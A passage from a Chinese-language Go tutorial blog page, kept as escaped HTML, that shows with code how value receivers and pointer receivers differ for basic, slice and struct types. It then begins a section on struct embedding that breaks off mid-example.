class=\"line\"\u003e107\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epackage\u003c/span\u003e main\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;log\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 基于基本类型创建类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e Age \u003cspan class=\"type\"\u003eint\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 值接收者\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(age Age)\u003c/span\u003e\u003c/span\u003e ChangeAge() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e age = \u003cspan class=\"number\"\u003e18\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 指针接收者\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(age *Age)\u003c/span\u003e\u003c/span\u003e ChangeAgeByPointer() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *age = \u003cspan class=\"number\"\u003e18\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 基于引用类型创建类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e IP []\u003cspan class=\"type\"\u003ebyte\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 值接收者\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(ip IP)\u003c/span\u003e\u003c/span\u003e ChangeIP() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ip = []\u003cspan class=\"type\"\u003ebyte\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;456\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 指针接收者\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(ip *IP)\u003c/span\u003e\u003c/span\u003e ChangeIPByPointer() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *ip = []\u003cspan class=\"type\"\u003ebyte\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;456\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e Pet \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Name \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Hobby []\u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 值接收者\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(pet Pet)\u003c/span\u003e\u003c/span\u003e ChangePetValue(name \u003cspan class=\"type\"\u003estring\u003c/span\u003e, hobby []\u003cspan class=\"type\"\u003estring\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pet.Name = name\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pet.Hobby = hobby\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 指针接收者\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(pet *Pet)\u003c/span\u003e\u003c/span\u003e ChangePetValueByPointer(name \u003cspan class=\"type\"\u003estring\u003c/span\u003e, hobby []\u003cspan class=\"type\"\u003estring\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pet.Name = name\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pet.Hobby = hobby\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// -----基于基本类型来定义类型的示例-----\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 值接收者,不会改变原来的值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e age Age = \u003cspan class=\"number\"\u003e38\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(\u003cspan class=\"string\"\u003e\u0026#34;前age=\u0026#34;\u003c/span\u003e, age) \u003cspan class=\"comment\"\u003e// 前age= 38\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 值调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e age.ChangeAge()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 指针调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//(\u0026amp;age).ChangeAge()\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(\u003cspan class=\"string\"\u003e\u0026#34;后age=\u0026#34;\u003c/span\u003e, age) \u003cspan class=\"comment\"\u003e// 后age= 38\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 指针接收者,会改变原来的值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e age2 Age = \u003cspan class=\"number\"\u003e38\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(\u003cspan class=\"string\"\u003e\u0026#34;前age2=\u0026#34;\u003c/span\u003e, age2) \u003cspan class=\"comment\"\u003e// 前age= 38\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 值调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e age2.ChangeAgeByPointer()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 指针调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//(\u0026amp;age2).ChangeAgeByPointer()\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(\u003cspan class=\"string\"\u003e\u0026#34;后age2=\u0026#34;\u003c/span\u003e, age2) \u003cspan class=\"comment\"\u003e// 后age= 18\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// -----基于引用类型来定义类型的示例-----\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 值接收者,不会改变原来的值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e ip IP = []\u003cspan class=\"type\"\u003ebyte\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;123\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;前ip=%s\u0026#34;\u003c/span\u003e, ip) \u003cspan class=\"comment\"\u003e// 前ip=123\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 值调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ip.ChangeIP()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 指针调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//(\u0026amp;ip).ChangeIP()\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;后ip=%s\u0026#34;\u003c/span\u003e, ip) \u003cspan class=\"comment\"\u003e// 后ip=123\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 指针接收者,会改变原来的值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e ip2 IP = []\u003cspan class=\"type\"\u003ebyte\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;123\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;前ip2=%s\u0026#34;\u003c/span\u003e, ip2) \u003cspan class=\"comment\"\u003e// 前ip2=123\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 值调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ip2.ChangeIPByPointer()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 指针调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//(\u0026amp;ip2).ChangeIPByPointer()\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;后ip2=%s\u0026#34;\u003c/span\u003e, ip2) \u003cspan class=\"comment\"\u003e// 后ip2=456\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ----- struct 类型 -----\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 值接收者,不会改变原来的值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cat := Pet{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Name: \u003cspan class=\"string\"\u003e\u0026#34;kk\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Hobby: []\u003cspan class=\"type\"\u003estring\u003c/span\u003e{\u003cspan class=\"string\"\u003e\u0026#34;cookies\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;fishes\u0026#34;\u003c/span\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;前:%#v\u0026#34;\u003c/span\u003e, cat) \u003cspan class=\"comment\"\u003e// 前:method.Pet{Name:\u0026#34;kk\u0026#34;, Hobby:[]string{\u0026#34;cookies\u0026#34;, \u0026#34;fishes\u0026#34;}}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 值调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cat.ChangePetValue(\u003cspan class=\"string\"\u003e\u0026#34;kitten\u0026#34;\u003c/span\u003e, []\u003cspan class=\"type\"\u003estring\u003c/span\u003e{\u003cspan class=\"string\"\u003e\u0026#34;meat\u0026#34;\u003c/span\u003e})\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 指针调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//(\u0026amp;cat).ChangePetValue(\u0026#34;kitten\u0026#34;, []string{\u0026#34;meat\u0026#34;})\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;后:%#v\u0026#34;\u003c/span\u003e, cat) \u003cspan class=\"comment\"\u003e// 后:method.Pet{Name:\u0026#34;kk\u0026#34;, Hobby:[]string{\u0026#34;cookies\u0026#34;, \u0026#34;fishes\u0026#34;}}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 指针接收者,会改变原来的值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;指针前:%#v\u0026#34;\u003c/span\u003e, cat) \u003cspan class=\"comment\"\u003e// 指针前:method.Pet{Name:\u0026#34;kk\u0026#34;, Hobby:[]string{\u0026#34;cookies\u0026#34;, \u0026#34;fishes\u0026#34;}}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 值调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cat.ChangePetValueByPointer(\u003cspan class=\"string\"\u003e\u0026#34;kitten\u0026#34;\u003c/span\u003e, []\u003cspan class=\"type\"\u003estring\u003c/span\u003e{\u003cspan class=\"string\"\u003e\u0026#34;meat\u0026#34;\u003c/span\u003e}) \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 指针调用方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//(\u0026amp;cat).ChangePetValueByPointer(\u0026#34;kitten\u0026#34;, []string{\u0026#34;meat\u0026#34;})\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;指针后:%#v\u0026#34;\u003c/span\u003e, cat) \u003cspan class=\"comment\"\u003e// 指针后:method.Pet{Name:\u0026#34;kitten\u0026#34;, Hobby:[]string{\u0026#34;meat\u0026#34;}}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"04-嵌入类型\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E8%AF%AD%E8%A8%80%E7%BB%93%E6%9E%84%E7%B1%BB%E5%9E%8B%E8%AF%A6%E8%A7%A3/#04-%E5%B5%8C%E5%85%A5%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"04. 嵌入类型\"\u003e\u003c/a\u003e\u003cstrong\u003e04.\u003c/strong\u003e 嵌入类型\u003c/h2\u003e\u003cp\u003eGo语言通过类型嵌套的方式来复用代码,当多个结构类型相互嵌套时,外部类型会复用内部类型的代码。\u003c/p\u003e\u003cp\u003e由于内部类型的标识符会提升到外部类型中,所以内部类型实现的字段,方法和接口在外部类型中也能直接访问到。\u003c/p\u003e\u003cp\u003e当外部类型需要实现一个和内部类型一样的方法或接口时,只需要给外部类型重新绑定方法或实现接口即可。\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epackage\u003c/span\u003e main\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;log\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// user 类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e user \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e name \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e phone \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 给 user 实现 Call 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(u *user)\u003c/span\u003e\u003c/span\u003e Call() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;Call user %s\u0026lt;%s\u0026gt;\u0026#34;\u003c/span\u003e, u.name, u.phone)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// Admin 类型 (外部类型)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 嵌套 user (内部类型)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e Admin \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e user\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e level \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan 